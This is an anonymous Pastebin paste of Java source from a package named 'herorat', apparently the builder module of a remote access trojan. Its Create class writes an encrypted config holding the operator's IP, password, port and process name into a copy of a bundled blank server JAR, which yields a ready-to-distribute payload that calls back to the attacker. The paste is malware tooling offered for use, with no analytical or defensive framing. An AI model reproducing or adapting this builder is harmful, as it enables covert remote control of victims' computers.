Advertisement
Guest User

Untitled

a guest
Apr 1st, 2015
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.14 KB | None | 0 0
  1. package net.herorat.features.create;
  2.  
  3. import java.io.FileOutputStream;
  4. import java.util.Date;
  5. import java.util.jar.JarEntry;
  6. import java.util.jar.JarInputStream;
  7. import java.util.jar.JarOutputStream;
  8. import java.util.jar.Manifest;
  9.  
  10. import javax.swing.JOptionPane;
  11.  
  12. import net.herorat.Main;
  13. import net.herorat.utils.Crypto;
  14.  
  15.  
  16. public class Create
  17. {
  18.     public static void create(String ip, String password, int port, String path, String process)
  19.     {
  20.         if (path.equals(""))
  21.         {
  22.             path = "Server_" + new Date().getTime() + ".jar";
  23.         }
  24.         else if (!path.endsWith(".jar"))
  25.         {
  26.             if (path.lastIndexOf(".") > 0)
  27.             {
  28.                 path = path.substring(0, path.lastIndexOf(".")) + ".jar";
  29.             }
  30.             else
  31.             {
  32.                 path += ".jar";
  33.             }
  34.         }
  35.        
  36.         StringBuffer buffer = new StringBuffer();
  37.        
  38.         buffer.append(ip);
  39.         buffer.append("###");
  40.         buffer.append(password);
  41.         buffer.append("###");
  42.         buffer.append(String.valueOf(port));
  43.        
  44.         if (!process.equals(""))
  45.         {
  46.             buffer.append("###");
  47.             buffer.append(process);
  48.         }
  49.        
  50.         try
  51.         {
  52.             JarInputStream input = new JarInputStream(
  53.                     Create.class.getClassLoader().getResourceAsStream("/lib/blank_server.jar")
  54.             );
  55.             Manifest mf = new Manifest();
  56.             mf.read(Create.class.getClassLoader().getResourceAsStream("/lib/blank_manifest.mf"));
  57.             JarOutputStream output = new JarOutputStream(new FileOutputStream(path), mf);
  58.  
  59.             output.putNextEntry(new JarEntry("config.cfg"));
  60.             output.write( Crypto.byteToHex(Crypto.crypt(buffer.toString())).getBytes() );
  61.             output.closeEntry();
  62.  
  63.             byte[] content_buffer = new byte[1024];
  64.             JarEntry entry;
  65.             while ((entry = input.getNextJarEntry()) != null)
  66.             {
  67.                 if (!"META-INF/MANIFEST.MF".equals(entry.getName()))
  68.                 {
  69.                     output.putNextEntry(entry);
  70.                     int length;
  71.                     while ((length = input.read(content_buffer)) != -1)
  72.                     {
  73.                         output.write(content_buffer, 0, length);
  74.                     }
  75.  
  76.                     output.closeEntry();
  77.                 }
  78.             }
  79.  
  80.             output.flush();
  81.             output.close();
  82.             input.close();
  83.  
  84.             JOptionPane.showMessageDialog(Main.mainWindow.panel_tab1, "Server was successfully created");
  85.         }
  86.         catch (Exception e)
  87.         {
  88.             e.printStackTrace();
  89.         }
  90.     }
  91. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement